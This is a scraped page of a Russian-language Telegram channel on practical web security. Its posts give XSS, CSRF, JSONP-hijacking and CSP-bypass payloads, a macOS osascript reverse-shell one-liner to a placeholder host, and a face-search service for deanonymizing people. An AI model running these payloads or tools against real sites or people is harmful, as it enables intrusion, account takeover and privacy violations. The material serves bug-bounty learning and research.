TGViewer
Channel Public Channel
Кавычка

Кавычка

@webpwn

Практическая безопасность. Уязвимости и атаки на веб-приложения.

Чат @WebPwnChat

Только авторский контент, без репостов и рекламы (простите).

Вместо лайка:
https://t.me/webpwn?boost

Платный канал:
https://t.me/tribute/app?startapp=s2Vr
Subscribers
15.9K
Photos
83
Videos
2
Links
184

Showing posts older than #238 · Back to latest

Older Posts 20 shown
Post #237 22.3K
PayloadsAllTheThings - коллекция полезной нагрузки ко всему, вот серьёзно.
Тут и вектора атак для CRLF, и к Path Traversal, различные пэйлоады для imagemagic и ffmpeg, XXE, ссылки на разборы и мануалы, даже старый добрый SecLists больше не нужен. Обязателен в коллекции любого bounty hunter'а. А уж сколько заданий в CTF было решено за счёт него!
А чего еще нет, добавляется с помощью комьюнити, подключайтесь!
  • 🔥 1
Post #236 18.7K
Чтобы подключить внешний JS на страницу, нужно было либо обращаться к удаленной странице и выполнять ответ. Или хитрить и использовать уже подключенные библиотеки, например $.getScript в Jquery.
Сейчас в Chrome и Safari достаточно использовать функцию import. Например
<img src onerror=import('//bo0om.ru/x/')>
Для ответа у нашего скрипта должен быть настроен CORS, но в этом никакой проблемы нет.
Post #235 19.2K
Когда у тебя есть CRLF в заголовке Location при редиректе, ты можешь попробовать превратить CRLF в полноценную XSS.
Браузеры не рендерят тело в ответе, где присутствует перенаправление. Однако, редирект можно прервать и тогда тело отобразится. Как завещал BlackFan:
* Для браузера Chrome необходимо, чтобы сервер вернул пустой заголовок Location.
* Для FF чуть проще, нужно контролировать порт домена, куда происходит редирект, указав unsafe port, например 1 или 22.
Post #231 15.3K
Иногда бывает, что в ответ на GET запрос получаем JSON объект, где может храниться чувствительная информация: какие-нибудь данные пользователя или даже CSRF-токен! И если раньше мы могли «узнать» эту информацию, то сейчас это стало невозможным.
Однако всегда стоит проверить возможность добавить функцию обратного вызова и получить JSONP объект, который до сих пор можно захайджечить! Пример:
GET /api/user.info?callback=xek HTTP/1.1

Зачастую для вызова обратной функции у меня встречались следующие параметры:

callback
jsonp
cb
jp

А затем уже эксплуатируем обычный JSONP Hijacking, как в примерах ниже:
https://hackerone.com/reports/361951
https://hackerone.com/reports/9775
https://hackerone.com/reports/361951

Кроме того, такую находку можно использовать для обхода CSP, как писали тут ранее.
PortSwigger Research JSON hijacking for the modern web I presented this topic at OWASP London and Manchester. You can find the talk and slides below: Slides from OWASP London talk Benjamin Dumke-von der Ehe found an interesting way to steal data cross dom
Post #228 23.6K
JS-Alpha - забавный JS-енкодер, который обфусцирует сценарий только с помощью символов /[a-z().]/ (ха). Выглядит это как набор функций, ценности особо не несёт, но выглядит забавно.

https://terjanq.github.io/JS-Alpha/encoder.html

Например, alert(1):
with(escape())with(eval.bind)eval(unescape(match().concat(strike().big().link().length).concat(escape(escape.name.length).concat(escape(...call.name))).concat(escape(escape(link())).length).concat(link().blink().link().length).concat(link().link().strike().length).concat(name.link().length).concat(big().big().length).concat(fixed().big().length).join(unescape(...escape(this)))))
Post #227 23.7K
Кавычка Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения.…
Учетная запись была в открытом доступе примерно с лета прошлого года. Репозиторий уже был удален, клиенты не пострадали (надеюсь), а мы уже получили ответ от Devicelock - "ага, спасибо. не нужно конечно было это допускать ;)".
Post #226 19.2K
Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения. 🔥

В открытом доступе была обнаружена учетная запись сотрудника компании devicelock (основатель которой ведет канал об утечках @dataleak).
Post #225 33.1K
Чуваки из Google сделали офигенный сервис!
Он наглядно показывает уязвимые участки кода у различных CVE (ну патчи, конечно же).

https://www.vulncode-db.com
Post #224 19.6K
GraphQL - это технология для создания API от Facebook. Сейчас на многих современных сайтах можно увидеть обращения к GraphQL-бекендам, у которых нередко можно встретить проблемы с разделением прав доступа. Достаточно вспомнить недавний баг у HackerOne.

Одним из самых популярных бекендов является graphcool. Фреймворк позволяет легко создавать GraphQL-схемы из SDL. Но безопасна ли сгенерированная схема? Исследовать GraphQL-схемы можно легко с помощью GraphQL Playground или расширения ChromeiQL. Так, можно увидеть, что graphcool создает новые поля-селекторы для всех строковых полей, например password_contains, password_not_contains, password_starts_with и др. И что самое главное - авторизация для таких полей реализована некорректно, допуская error-based перебор символов.
HackerOne HackerOne disclosed on HackerOne: Confidential data of users and... On January 31st, 2019 at 7:16pm PST, HackerOne confirmed that two reporters were able to query confidential data through a GraphQL endpoint. This vulnerability was introduced on December 17th, 2018...
Post #223 1.5K

Forwarded from Br0wSec (Andrey Kovalev)

Вышел отчет Chromium Security Q4. Самое интересное, что там было - представление нового API для защиты от XSS (в первую очередь от DOM-based), который называется Trusted Types.

Теперь разработчики смогут на своем сайте ограничить небезопасную вставку содержимого в DOM специальной политкой, которая активируется в CSP-заголовках. В этом случае в качестве параметров для функций (или свойств), порождающих небезопасный html (так называемые inоjection sinks, например, Element.innerHTML или HTMLScriptElement.src), можно будет использовать только объекты-политики, в которых можно описать реализацию санитайзинга или проверки контента, попадающего в DOM.

Подробнее можно почитать здесь: https://developers.google.com/web/updates/2019/02/trusted-types, а полную спецификацию можно найти тут: https://wicg.github.io/trusted-types/dist/spec/.

Фича пока что экспериментальная и доступна с 73 по 76 версию Chromium'a. Чтобы попасть в эксперимент надо записать свой сайт по ссылке: https://developers.chrome.com/origintrials/#/register_trial/171136785840078849
web.dev Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types | Articles | web.dev Introducing Trusted Types: a browser API to prevent DOM-based cross-site scripting in modern web applications.
Post #222 16.3K
В 2017 году на Defcon Russia я предлагал использовать Google Glass интегрируя в него сервис Findface.

Только вот Findface уже закрыли, но на смену ему приходит минималистичный searchface.ru. Несмотря на то, что подобных сервисов уже много, этот абсолютно бесплатный (даже без регистрации).
FindTwin face search demo в title говорит о том, что это демка, но поиск по закрытым профилям вконтактике — уже приятно.
Speaker Deck Defcon Russia | Bo0om vs Шурыгина Деанонимируем с помощью Google Glass
Post #220 24.8K
Ruby забавно парсит JSON стандартным модулем. В него можно писать комментарии!
Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.

<body onload="document.forms[0].submit();">
<form action="https://visim" method="POST" enctype="text/plain">
<input type="hidden" name='{"action":"changepassword","password":"PwnMePls!1!!"}//' value="">
</form>
</body>
Post #219 21.7K
AppleScript — мощный инструмент.
Нужен root shell?

osascript -e "do shell script \"bash -i >& /dev/tcp/%ip%/%port% 0>&1 \" with administrator privileges"

Нужен контроль над другим приложением?

osascript -e 'tell app "Chrome" to display dialog "Hello World"'

(В Mojave нужно дать доступ через меню «Accessibility»)

Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.

AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.

Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит do shell script
GitHub GitHub - its-a-feature/Mythic: A collaborative, multi-platform, red teaming framework A collaborative, multi-platform, red teaming framework - its-a-feature/Mythic
Post #218 17.3K
Недавно на ZN:Web Village обсуждались способы обхода Content-Security-Policy, в том числе через использование JSONP колбэков из списка довереных доменов.
И тут в твитторе встретилась неплохая подборка таких коллбеков для самых разных сервисов!
https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt

Разберем на примере. Вот встретили вы такую политику:
Content-Security-Policy: default-src none; script-src 'unsafe-inline' 'nonce-rhg4nkW7bVP4DzlAfkMrdg==' *.yandex.net

А для Яндекса как раз есть пара примерчиков. Итого, наш мега-вектор принимает вид:

"><script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert(1337)"></script>
PWNED!

А вот и сама презентация https://clck.ru/EsdWb


Любопытно, что во многих случаях сервис всячески ругается ("Only alphabet or number allowed in JSONP "), но это не мешает работе байпаса.
GitHub JSONBee/jsonp.txt at master · zigoo0/JSONBee A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websites. - zigoo0/JSONBee
Post #217 14.6K
Некоторые заголовки могут работать как HTML теги (и наоборот)

Например, тег
<meta http-equiv="Content-Security-Policy" content="default-src https://hello; child-src 'none'; object-src 'none'">
включит соотвествующий CSP, как если бы он был в заголовках.

Заголовок
Refresh: 3;URL=https://hello/
покажет содержимое страницы на три секунды, а потом перенаправит пользователя, как если бы на странице был тег
<meta http-equiv="refresh" content="3;https://hello/">


Заголовок
Link: <https://hello/>;rel=stylesheet
попытается подгрузить и применить на страницу CSS, как если на странице был тег
<link rel="stylesheet" href="https://hello/">
правда, только для Firefox🦊
Post #216 26.4K
Кавычка Слайды с Web VIllage #ZeroNights 2018 https://2018.zeronights.ru/en/materials/
Bo0oM - I <"3 XSS
H D, Pavel Rukavishnikov - Blind XSS
Ivan Chalykin - Key methods of CSP bypassing
Sergey "BlackFan" Bobrov - BugBounty Automation
Andrey "L1kvID" Kovalev - Introduction into browser hacking
Alexey "SooLFaa" Morozov - Misconfiguration in development infrastructure
Alexey "GreenDog" Tiurin - (A)typical vulnerabilities
Omar "Beched" Ganiev - PHP insecurity stack
Pavel "Paul_Axe" Toporkov - PHP unserialize
Alexandr "Webr0ck" Romanov - Spel injection
Egor "ShikariSenpai" Karbutov & Sergey "BeLove" Belov - Defense. Change my mind!
Older posts →
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →